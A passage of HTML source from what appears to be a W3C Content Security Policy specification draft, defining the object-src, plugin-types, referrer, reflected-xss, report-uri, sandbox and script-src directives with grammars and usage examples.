otherwise to the list of\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-media-sources title=\"allowed media sources\">allowed media sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting data for a video or audio clip, such as when\n      processing the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> attribute of a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#video title=video>video</a></code>, <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#audio title=audio>audio</a></code>,\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element title=source>source</a></code>, or <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element title=track>track</a></code>\n      elements.</li>\n    </ul>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.11 id=directive-object-src><span class=secno>7.11 </span><span class=content><code>object-src</code></span><a class=self-link href=#directive-object-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=object-src>object-src<a class=self-link href=#object-src></a></dfn></code> directive restricts from where\n    the protected resource can load plugins. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"object-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-object-sources>allowed object sources<a class=self-link href=#allowed-object-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>object-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>object-src</code>, or otherwise to the list of\n    <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a>.</p>\n\n<p>Whenever the user agent <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetches>fetches</a> a URI in the course of one of the\n    following activities, if the URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-object-sources title=\"allowed object sources\">allowed object sources</a>,\n    the user agent MUST act as if there was a fatal network error\n    and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>:</p>\n\n    <ul>\n      <li>Requesting data for a plugin, such as when processing the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data title=data>data</a></code> attribute of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> element, the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src title=src>src</a></code> attribute of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> elements, or the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/obsolete.html#attr-object-code title=code>code</a></code> or\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/obsolete.html#attr-object-archive title=archive>archive</a></code> attributes of an\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code> element.</li>\n\n      <li>Requesting data for display in a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a>\n      in the protected resource created by an <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code>\n      or an <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> element.</li>\n\n      <li>Navigating such a <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a>.</li>\n    </ul>\n\n<p>It is not required that the consumer of the element’s data be a\n    <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a> in order for the <code>object-src</code> directive to be\n    enforced. Data for any <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code>,\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code>, or <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code>\n    element MUST match the <a data-link-type=dfn href=#allowed-object-sources title=\"allowed object sources\">allowed object sources</a> in order to be fetched.\n    This is true even when the element data is semantically equivalent to\n    content which would otherwise be restricted by one of the other\n    <a data-section=\"\" href=#sec-directives>directives</a>, such as an\n    <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> element with a <code>text/html</code>\n    MIME type.</p>\n\n<p>Whenever the user agent would load a <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a> without an associated\n    URI (e.g., because the <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> element lacked a\n    <code>data</code> attribute), if the protected resource’s URI does not\n    <a data-link-type=dfn href=#match-a-source-list title=\"match a source list\">match</a> the <a data-link-type=dfn href=#allowed-object-sources title=\"allowed object sources\">allowed object sources</a>,\n    the user agent MUST NOT load the plugin.</p>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.12 id=directive-plugin-types><span class=secno>7.12 </span><span class=content><code>plugin-types</code></span><a class=self-link href=#directive-plugin-types></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=plugin-types>plugin-types<a class=self-link href=#plugin-types></a></dfn></code> directive restricts the set\n    of plugins that can be invoked by the protected resource by limiting\n    the types of resources that can be embedded. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n\n    <pre>directive-name    = \"plugin-types\"\ndirective-value   = media-type-list\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-plugin-media-types>allowed plugin media types<a class=self-link href=#allowed-plugin-media-types></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-media-type-list title=\"parse a media type list\">parsing the <code>plugin-types</code>\n    directive’s value as a media type list</a>.</p>\n\n<p>Whenever the user agent would instantiate a <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a>\n    to handle <var>resource</var> while enforcing the <code>plugin-types</code>\n    directive, the user agent MUST instead act as though the plugin reported an\n    error <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a> if any of the following\n    conditions hold:</p>\n\n    <ul>\n        <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> or\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> element that does not explicitly\n        declare a <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#mime-type title=\"mime type\">MIME type</a> via a\n        <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-type title=type>type</a></code> attribute.</li>\n\n        <li><var>resource</var>’s media type does not\n        <a data-link-type=dfn href=#match-a-media-type-list title=\"match a media type list\">match</a> the list of <a data-link-type=dfn href=#allowed-plugin-media-types title=\"allowed plugin media types\">allowed\n        plugin media types</a>.</li>\n\n        <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> or\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> element, and the media type declared\n        in the element’s <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-type title=type>type</a></code> attribute is not\n        a case-insensitive match for the <var>resource</var>’s media\n        type.</li>\n\n        <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=element href=http://www.w3.org/TR/html5/obsolete.html#the-applet-element title=applet>applet</a></code> element, and <var>resource</var>’s\n        media type is not a case-insensitive match for\n        <code>application/x-java-applet</code>.</li>\n    </ul>\n\n<p class=note>Note: In any of these cases, acting as though the plugin reported an\n    error will cause the user agent to display the <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/dom.html#fallback-content title=\"fallback content\">fallback\n    content</a>.</p>\n\n<p>Whenever the user agent creates a <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#plugin-document title=\"plugin document\">plugin document</a> in a\n    <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a> in the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>, if the user\n    agent is enforcing any <code>plugin-types</code> directives for the\n    protected resource, the user agent MUST <a data-link-type=dfn href=#enforce title=enforce>enforce</a> those\n    <code>plugin-types</code> directives on the plugin document as well.</p>\n\n<p>Whenever the user agent creates a <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#plugin-document title=\"plugin document\">plugin document</a> in a\n    <a data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#nested-browsing-context title=\"nested browsing context\">nested browsing context</a> in the <a data-link-type=dfn href=#protected-resource title=\"protected resource\">protected resource</a>, if the user\n    agent is monitoring any <code>plugin-types</code> directives for the\n    protected resource, the user agent MUST <a data-link-type=dfn href=#monitor title=monitor>monitor</a> those\n    <code>plugin-types</code> directives on the plugin document as well.</p>\n\n    <section class=informative>\n      <h4 class=\"heading settled heading\" data-level=7.12.1 id=plugin-types-usage><span class=secno>7.12.1 </span><span class=content>Usage</span><a class=self-link href=#plugin-types-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>The <code>plugin-types</code> directive whitelists a certain set\n      of MIME types that can be embedded in a protected resource. For\n      example, a site might want to ensure that PDF content loads, but that\n      no other plugins can be instantiated. The following directive would\n      satisfy that requirement:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#plugin-types title=plugin-types>plugin-types</a> application/pdf</pre>\n\n<p>Resources embedded via an <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code> or\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> element delivered with an\n      <code>application/pdf</code> content type would be rendered in the\n      appropriate plugin; resources delivered with some other content type\n      would be blocked. Multiple types can be specified, in any order. If the\n      site decided to additionally allow Flash at some point in the future, it\n      could do so with the following directive:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#plugin-types title=plugin-types>plugin-types</a> application/pdf application/x-shockwave-flash</pre>\n\n<p class=note>Note: Wildcards are not accepted in the <code>plugin-types</code>\n      directive. Only the resource types explicitly listed in the directive\n      will be allowed.</p>\n  </section>\n  <section class=informative>\n      <h4 class=\"heading settled heading\" data-level=7.12.2 id=plugin-types-predeclaration><span class=secno>7.12.2 </span><span class=content>\n        Predeclaration of expected media types\n      </span><a class=self-link href=#plugin-types-predeclaration></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n<p>Enforcing the <code>plugin-types</code> directive requires that\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element title=object>object</a></code> and <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element title=embed>embed</a></code>\n      elements declare the expected media type of the resource they include via\n      the <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/document-metadata.html#attr-link-type title=type>type</a></code> attribute. If an author expects\n      to load a PDF, she could specify this as follows:</p>\n\n<pre>&lt;object data=\"<var>resource</var>\" type=\"application/pdf\"&gt;&lt;/object&gt;</pre>\n\n<p>If <var>resource</var> isn’t actually a PDF file, it won’t\n      load. This prevents certain types of attacks that rely on serving\n      content that unexpectedly invokes a plugin other than that which the\n      author intended.</p>\n\n<p class=note>Note: <var>resource</var> will not load in this scenario even\n      if its media type is otherwise whitelisted: resources will only load\n      when their media type is whitelisted <em>and</em> matches the\n      declared type in their containing element.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.13 id=directive-referrer><span class=secno>7.13 </span><span class=content><code>referrer</code></span><a class=self-link href=#directive-referrer></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=referrer>referrer<a class=self-link href=#referrer></a></dfn></code> directive specifies a referrer\n    policy that the user agent applies when determining what referrer\n    information should be included with requests made, and with\n    <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#browsing-context title=\"browsing contexts\">browsing contexts</a> created from the context of the\n    protected resource. The syntax for the name and value of the directive\n    are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"referrer\"\ndirective-value   = \"none\" / \"none-when-downgrade\" / \"origin\" / \"origin-when-cross-origin\" / \"unsafe-url\"\n</pre>\n\n<p class=note>Note: The directive name does not share the HTTP header’s misspelling.</p>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=referrer-policy>referrer policy<a class=self-link href=#referrer-policy></a></dfn> refers to the value of the\n    <code>referrer</code> directive, or to <code>none-when-downgrade</code>\n    if no <code>referrer</code> directive is present in the protected\n    resource’s policy.</p>\n\n<p>If the value of the <code>referrer</code> directive is invalid,\n    the user agent SHOULD set the referrer policy to <code>never</code>.</p>\n\n<p>Replace step 7 of the\n    <a href=http://fetch.spec.whatwg.org/>\"Determine referrer\" algorithm defined in Fetch</a>\n    with the following:</p>\n\n    <ol start=7>\n      <li>If <var>referrer</var> is null, or if the <a data-link-type=dfn href=#referrer-policy title=\"referrer policy\">referrer policy</a> is\n      <code>none</code>, return <strong>null</strong>.</li>\n\n      <li>If the <a data-link-type=dfn href=#referrer-policy title=\"referrer policy\">referrer policy</a> is\n      <code>origin</code>, return the ASCII serialization of\n      <var>referrer</var>’s origin. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc6454 title=biblio-rfc6454>[RFC6454]</a></li>\n\n      <li>If the <a data-link-type=dfn href=#referrer-policy title=\"referrer policy\">referrer policy</a> is\n      <code>origin-when-cross-origin</code>, return <var>referrer</var>\n      if <var>referrer</var>’s origin is the same as the origin of the\n      resource being fetched, and otherwise the ASCII serialization of\n      <var>referrer</var>’s origin. <a data-biblio-type=normative data-link-type=biblio href=#biblio-rfc6454 title=biblio-rfc6454>[RFC6454]</a></li>\n\n      <li>If the <a data-link-type=dfn href=#referrer-policy title=\"referrer policy\">referrer policy</a> is <code>unsafe-url</code>, return\n      <var>referrer</var>. Note that this might cause HTTPS referrer\n      information to be sent over the network as part of unencrypted HTTP\n      requests.</li>\n\n      <li>If the <a data-link-type=dfn href=#referrer-policy title=\"referrer policy\">referrer policy</a> is <code>none-when-downgrade</code>,\n      then:\n        <ul>\n          <li>Return <strong>null</strong> if the scheme component of\n          <var>referrer</var> represents a protocol that uses\n          transport-layer security and the scheme component of the\n          resource being fetched does not.</li>\n          <li>Otherwise return <var>referrer</var>.</li>\n        </ul>\n      </li>\n    </ol>\n\n<p class=note>Note: This specification should not be interpreted as limiting\n    user agents' ability to apply other restrictions to limit referrer\n    leakage.</p>\n\n    <section>\n      <h4 class=\"heading settled heading\" data-level=7.13.1 id=referrer-multiple-policies><span class=secno>7.13.1 </span><span class=content>Processing multiple referrer policies</span><a class=self-link href=#referrer-multiple-policies></a></h4>\n\n<p>If a referrer policy is specified in multiple places (e.g. both a\n      <a href=http://wiki.whatwg.org/wiki/Meta_referrer><code>meta</code>\n      element</a> and a <code>referrer</code> directive), resolve the conflict\n      as follows:</p>\n\n      <ol>\n        <li>If all referrer policies have the same value, the protected\n        resource’s <a data-link-type=dfn href=#referrer-policy title=\"referrer policy\">referrer policy</a> is\n        that value.</li>\n\n        <li>Otherwise, the protected resource’s <a data-link-type=dfn href=#referrer-policy title=\"referrer policy\">referrer policy</a> is\n        <code>none</code>.</li>\n      </ol>\n    </section>\n\n    <section class=informative>\n      <h5 class=\"heading settled heading\" data-level=7.13.1.1 id=referrer-usage><span class=secno>7.13.1.1 </span><span class=content>Usage</span><a class=self-link href=#referrer-usage></a></h5>\n\n<p><em>This section is not normative.</em></p>\n\n<p>A protected resource can prevent referrer leakage by specifying\n      <code>none</code> as the value of its policy’s <code>referrer</code>\n      directive:</p>\n\n      <pre>Content-Security-Policy: referrer none;\n</pre>\n\n<p>This will cause all requests made from the protected resource’s\n      context to have an empty <code>Referer</code> [sic] header.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.14 id=directive-reflected-xss><span class=secno>7.14 </span><span class=content><code>reflected-xss</code></span><a class=self-link href=#directive-reflected-xss></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=reflected-xss>reflected-xss<a class=self-link href=#reflected-xss></a></dfn></code> directive instructs a user agent\n    to activate or deactivate any heuristics used to filter or block\n    reflected cross-site scripting attacks. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"reflected-xss\"\ndirective-value   = \"allow\" / \"block\" / \"filter\"\n</pre>\n\n<p>A user agent with support for XSS protection MUST enforce this\n    directive as follows:</p>\n\n    <ul>\n      <li>If the value of the directive is <code>allow</code>, the user\n      agent MUST disable its active protections against reflected cross-site\n      scripting attacks for the protected resource.</li>\n\n      <li>If the value of the directive is <code>filter</code>, the user\n      agent MUST enable its active protections against reflected cross-site\n      scripting attacks for the protected resource. This might result in\n      filtering script that is believed to be reflected being filtered or\n      selectively blocking script execution.</li>\n\n      <li>If the value of the directive is <code>block</code>, the user\n      agent MUST stop rendering the protected resource upon detection of\n      reflected script, and instead act as if there was a fatal network\n      error and no resource was obtained, <em>and</em> <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a\n      violation</a>:\n    </ul>\n\n<p>If the user agent’s active protections against reflected cross-site\n    scripting attacks detect or prevent script execution, the user agent\n    MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</p>\n\n<p class=note>Note: The <code>reflected-xss</code> directive will be ignored if\n    contained within a\n    <a href=#delivery-html-meta-element><code>meta</code> element</a>.</p>\n\n    <section class=informative>\n      <h4 class=\"heading settled heading\" data-level=7.14.1 id=reflected-xss-and-x-xss-protection><span class=secno>7.14.1 </span><span class=content>\n        Relationship to <code>X-XSS-Protection</code>\n      </span><a class=self-link href=#reflected-xss-and-x-xss-protection></a></h4>\n\n<p>This directive is meant to subsume the functionality provided by\n      the proprietary <code>X-XSS-Protection</code> HTTP header which is\n      supported by a number of user agents. Roughly speaking:</p>\n\n      <ul>\n        <li><code>reflected-xss allow</code> is equivalent to\n        <code>X-XSS-Protection: 0</code></li>\n        <li><code>reflected-xss filter</code> is equivalent to\n        <code>X-XSS-Protection: 1</code></li>\n        <li><code>reflected-xss block</code> is equivalent to\n        <code>X-XSS-Protection: 1; mode=block</code></li>\n      </ul>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.15 id=directive-report-uri><span class=secno>7.15 </span><span class=content><code>report-uri</code></span><a class=self-link href=#directive-report-uri></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=report-uri>report-uri<a class=self-link href=#report-uri></a></dfn></code> directive specifies a URI to\n    which the user agent sends reports about policy violation. The syntax\n    for the name and value of the directive are described by the following\n    ABNF grammar:</p>\n\n    <pre>directive-name    = \"report-uri\"\ndirective-value   = <a data-link-type=dfn href=#uri-reference title=uri-reference>uri-reference</a> *( 1*WSP <a data-link-type=dfn href=#uri-reference title=uri-reference>uri-reference</a> )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=uri-reference>uri-reference<a class=self-link href=#uri-reference></a></dfn>     = &lt;URI-reference from RFC 3986&gt;\n</pre>\n\n<p>The <dfn data-dfn-type=dfn data-noexport=\"\" id=set-of-report-uris>set of report URIs<a class=self-link href=#set-of-report-uris></a></dfn> is the value of the\n    <code>report-uri</code> directive, each resolved relative to the\n    protected resource’s URI.</p>\n\n<p>The process of sending violation reports to the URIs specified in\n    this directive’s value is defined in this document’s\n    <a data-section=\"\" href=#violation-reports>§4.4 Reporting</a> section.</p>\n\n<p class=note>Note: The <code>report-uri</code> directive will be ignored if contained\n    within a <a href=#delivery-html-meta-element><code>meta</code>\n    element</a>.</p>\n  </section>\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.16 id=directive-sandbox><span class=secno>7.16 </span><span class=content><code>sandbox</code></span><a class=self-link href=#directive-sandbox></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=sandbox>sandbox<a class=self-link href=#sandbox></a></dfn></code> directive specifies an HTML\n    sandbox policy that the user agent applies to the protected resource.\n    The syntax for the name and value of the directive are described by\n    the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"sandbox\"\ndirective-value   = <a data-link-type=dfn href=#sandbox-token title=sandbox-token>sandbox-token</a> *( 1*WSP <a data-link-type=dfn href=#sandbox-token title=sandbox-token>sandbox-token</a> )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=sandbox-token>sandbox-token<a class=self-link href=#sandbox-token></a></dfn>     = &lt;token from RFC 7230&gt;\n</pre>\n\n<p>When enforcing the <code>sandbox</code> directive, the user agent\n    MUST <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive title=\"parse a sandboxing directive\">parse a sandboxing directive</a> using the\n    <code>directive-value</code> as the <em>input</em> and protected\n    resource’s <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set title=\"forced sandboxing flag set\">forced sandboxing flag set</a>\n    as the output. <a data-biblio-type=normative data-link-type=biblio href=#biblio-html5 title=biblio-html5>[HTML5]</a></p>\n\n<p class=note>Note: The <code>sandbox</code> directive will be ignored when\n    <a data-link-type=dfn href=#monitor title=monitoring>monitoring</a> a policy, and when contained in a policy defined via a\n    <a href=#delivery-html-meta-element><code>meta</code> element</a>.</p>\n\n    <section class=informative>\n      <h4 class=\"heading settled heading\" data-level=7.16.1 id=sandbox-usage><span class=secno>7.16.1 </span><span class=content>Usage</span><a class=self-link href=#sandbox-usage></a></h4>\n\n<p><em>This section is not normative.</em></p>\n\n      <p>HTML5 defines a <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-sandbox title=sandbox>sandbox</a></code> attribute for\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code> elements, intended to allow web authors\n      to reduce the risk of including potentially untrusted content by imposing\n      restrictions on that content’s abilities. When the attribute is set,\n      the content is forced into a unique origin, prevented from submitting\n      forms, running script, creating or navigating other browsing contexts,\n      and prevented from running plugins. These restrictions can be loosened\n      by setting certain flags as the attribute’s value.\n\n<p>The <code>sandbox</code> directive allows any resource, framed or\n      not, to ask for the same sorts of restrictions to be applied to\n      itself.</p>\n\n<p>For example, a message board or email system might provide\n      downloads of arbitrary attachments provided by other users. Attacks\n      that rely on tricking a client into rendering one of these attachments\n      could be mitigated by requesting that resources only be rendered in a\n      very restrictive sandbox. Sending the <code>sandbox</code> directive\n      with an empty value establishes such an environment:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#sandbox title=sandbox>sandbox</a></pre>\n\n<p>More trusted resources might be allowed to run in an environment\n      with fewer restrictions by adding <code>allow-*</code> flags to the\n      directive’s value. For example, you can allow a page that you trust\n      to run script, while ensuring that it isn’t treated as same-origin\n      with the rest of your site. This can be accomplished by sending the\n      <code>sandbox</code> directive with the\n      <code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts title=allow-scripts>allow-scripts</a></code> flag:</p>\n\n<pre>Content-Security-Policy: <a data-link-type=dfn href=#sandbox title=sandbox>sandbox</a> <a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts title=allow-scripts>allow-scripts</a></pre>\n\n<p>The set of flags available to the CSP directive should match those\n      available to the <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code> attribute.\n      Currently, those include:</p>\n\n      <ul>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-forms title=allow-forms>allow-forms</a></code></li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-pointer-lock title=allow-pointer-lock>allow-pointer-lock</a></code></li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-popups title=allow-popups>allow-popups</a></code></li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin title=allow-same-origin>allow-same-origin</a></code></li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts title=allow-scripts>allow-scripts</a></code>, and</li>\n        <li><code><a data-link-type=element-attr href=http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-top-navigation title=allow-top-navigation>allow-top-navigation</a></code></li>\n      </ul>\n\n<p class=note>Note: Like the rest of Content Security Policy, the <code>sandbox</code>\n      directive is meant as a defense-in-depth. Web authors would be well-served\n      to use it <em>in addition to</em> standard sniffing-mitigation and\n      privilege-reduction techniques.</p>\n    </section>\n  </section>\n\n\n  <section>\n    <h3 class=\"heading settled heading\" data-level=7.17 id=directive-script-src><span class=secno>7.17 </span><span class=content><code>script-src</code></span><a class=self-link href=#directive-script-src></a></h3>\n\n<p>The <code><dfn data-dfn-type=dfn data-noexport=\"\" id=script-src>script-src<a class=self-link href=#script-src></a></dfn></code> directive restricts which scripts the\n    protected resource can execute. The directive also controls other resources,\n    such as XSLT style sheets <a data-biblio-type=normative data-link-type=biblio href=#biblio-xslt title=biblio-xslt>[XSLT]</a>, which can cause the user agent to\n    execute script. The syntax for the name and value of the directive are\n    described by the following ABNF grammar:</p>\n\n    <pre>directive-name    = \"script-src\"\ndirective-value   = <a data-link-type=dfn href=#source-list title=source-list>source-list</a>\n</pre>\n\n<p>The term <dfn data-dfn-type=dfn data-noexport=\"\" id=allowed-script-sources>allowed script sources<a class=self-link href=#allowed-script-sources></a></dfn> refers to the result of\n    <a data-link-type=dfn href=#parse-a-source-list title=\"parse a source list\">parsing the <code>script-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>script-src</code>, or otherwise to the <a data-link-type=dfn href=#default-sources title=\"default sources\">default\n    sources</a>.</p>\n\n<p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script sources</a>, or if at least one\n    <code><a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a></code> or <code><a data-link-type=dfn href=#hash-source title=hash-source>hash-source</a></code> is\n    present in the list of <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script sources</a>:</p>\n\n    <ul>\n      <li>Whenever the user agent would execute an inline script from a\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> element that lacks a <a data-link-type=dfn href=#valid-nonce title=\"valid nonce\">valid nonce</a>\n      <em>and</em> lacks a <a data-link-type=dfn href=#valid-hash title=\"valid hash\">valid hash</a> for the <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script\n      sources</a>, instead the user agent MUST NOT execute script, <em>and</em>\n      MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</li>\n\n      <li>Whenever the user agent would execute an inline script from an\n      inline event handler, instead the user agent MUST NOT execute script,\n      <em>and</em> MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</li>\n\n      <li>Whenever the user agent would execute script contained in a\n      <code>javascript</code> URI, instead the user agent MUST NOT execute\n      the script, <em>and</em> MUST <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">report a violation</a>.</li>\n    </ul>\n\n<p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=dfn href=#allowed-script-sources title=\"allowed script sources\">allowed script\n    sources</a>:</p>\n\n    <ul>\n      <li>Instead of evaluating their arguments, both operator\n      <code>eval</code> and function <code>eval</code> <a data-biblio-type=normative data-link-type=biblio href=#biblio-ecma-262 title=biblio-ecma-262>[ECMA-262]</a>\n      MUST throw an <code>EvalError</code> exception.</li>\n\n      <li>When called as a constructor, the function <code>Function</code>\n      <a data-biblio-type=normative data-link-type=biblio href=#biblio-ecma-262 title=biblio-ecma-262>[ECMA-262]</a> MUST throw an <code>EvalError</code> exception.</li>\n\n      <li>When called with a first argument that is not <a data-link-type=dfn href=#callable title=callable>callable</a> (a\n      string, for example), the\n      <code><a class=idl-code data-link-for=WindowTimers data-link-type=method href=http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-settimeout title=settimeout()>setTimeout()</a></code> function 